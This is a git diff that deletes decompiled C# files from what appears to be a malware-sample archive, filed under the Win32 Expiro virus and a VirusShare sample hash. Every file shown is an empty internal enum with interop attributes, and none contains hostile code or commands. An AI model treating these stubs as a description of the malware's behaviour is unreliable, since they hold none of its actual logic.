-[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSIATTRIBFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSIGDN.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSIGDN.cs deleted file mode 100644 index dcb7685e..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSIGDN.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSIGDN -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSIGDN -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSIIGB.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSIIGB.cs deleted file mode 100644 index 326f3667..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSIIGB.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSIIGB -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagSIIGB -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSLGP_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSLGP_FLAGS.cs deleted file mode 100644 index 5ce07544..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSLGP_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSLGP_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSLGP_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSLR_FLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSLR_FLAGS.cs deleted file mode 100644 index eabec21b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSLR_FLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSLR_FLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagSLR_FLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSMINFOFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSMINFOFLAGS.cs deleted file mode 100644 index 374c7bf4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSMINFOFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSMINFOFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSMINFOFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSMINFOMASK.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSMINFOMASK.cs deleted file mode 100644 index 9eafaccd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSMINFOMASK.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSMINFOMASK -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSMINFOMASK -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSMINFOTYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSMINFOTYPE.cs deleted file mode 100644 index 64282355..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSMINFOTYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSMINFOTYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[NativeCppClass] -[MiscellaneousBits(64)] -internal enum tagSMINFOTYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSPBEGINF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSPBEGINF.cs deleted file mode 100644 index 08756f86..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSPBEGINF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSPBEGINF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSPBEGINF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSPINITF.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSPINITF.cs deleted file mode 100644 index 8d743e99..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSPINITF.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSPINITF -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSPINITF -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTATFLAG.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTATFLAG.cs deleted file mode 100644 index 16d12ee0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTATFLAG.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTATFLAG -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTATFLAG -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTDMSHLFLAGS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTDMSHLFLAGS.cs deleted file mode 100644 index cf330876..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTDMSHLFLAGS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTDMSHLFLAGS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSTDMSHLFLAGS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGC.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGC.cs deleted file mode 100644 index 53e1a2d1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGC.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTGC -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTGC -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGMOVE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGMOVE.cs deleted file mode 100644 index 6d1df369..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGMOVE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTGMOVE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTGMOVE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGOP.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGOP.cs deleted file mode 100644 index c4a5eef0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGOP.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTGOP -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTGOP -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGTY.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGTY.cs deleted file mode 100644 index 07d8c4e0..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTGTY.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTGTY -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSTGTY -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTREAM_SEEK.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTREAM_SEEK.cs deleted file mode 100644 index 0bcda6c4..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTREAM_SEEK.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTREAM_SEEK -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTREAM_SEEK -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRRET_TYPE.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRRET_TYPE.cs deleted file mode 100644 index 3df722af..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRRET_TYPE.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRRET_TYPE -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[DebugInfoInPDB] -[MiscellaneousBits(64)] -internal enum tagSTRRET_TYPE -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_MULTIOPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_MULTIOPTION.cs deleted file mode 100644 index 31470f85..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_MULTIOPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRUCTURED_QUERY_MULTIOPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagSTRUCTURED_QUERY_MULTIOPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_PARSE_ERROR.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_PARSE_ERROR.cs deleted file mode 100644 index b6b481dc..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_PARSE_ERROR.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRUCTURED_QUERY_PARSE_ERROR -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSTRUCTURED_QUERY_PARSE_ERROR -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_RESOLVE_OPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_RESOLVE_OPTION.cs deleted file mode 100644 index 7f7320cb..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_RESOLVE_OPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRUCTURED_QUERY_RESOLVE_OPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[DebugInfoInPDB] -[NativeCppClass] -internal enum tagSTRUCTURED_QUERY_RESOLVE_OPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_SINGLE_OPTION.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_SINGLE_OPTION.cs deleted file mode 100644 index fc7c383b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSTRUCTURED_QUERY_SINGLE_OPTION.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSTRUCTURED_QUERY_SINGLE_OPTION -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSTRUCTURED_QUERY_SINGLE_OPTION -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSVGIO.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSVGIO.cs deleted file mode 100644 index 9d5d3837..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSVGIO.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSVGIO -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[NativeCppClass] -[MiscellaneousBits(64)] -[DebugInfoInPDB] -internal enum tagSVGIO -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSVUIA_STATUS.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSVUIA_STATUS.cs deleted file mode 100644 index 0b6f1901..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSVUIA_STATUS.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSVUIA_STATUS -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[MiscellaneousBits(64)] -[NativeCppClass] -[DebugInfoInPDB] -internal enum tagSVUIA_STATUS -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSYSKIND.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSYSKIND.cs deleted file mode 100644 index 2a86791a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagSYSKIND.cs +++ /dev/null @@ -1,15 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: tagSYSKIND -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.VisualC; -using System.Runtime.CompilerServices; - -[DebugInfoInPDB] -[MiscellaneousBits(64)] -[NativeCppClass] -internal enum tagSYSKIND -{ -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagShutdownType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/tagShutdownType.cs deleted file mode 100644 index 3c8b8736..00000000 --- 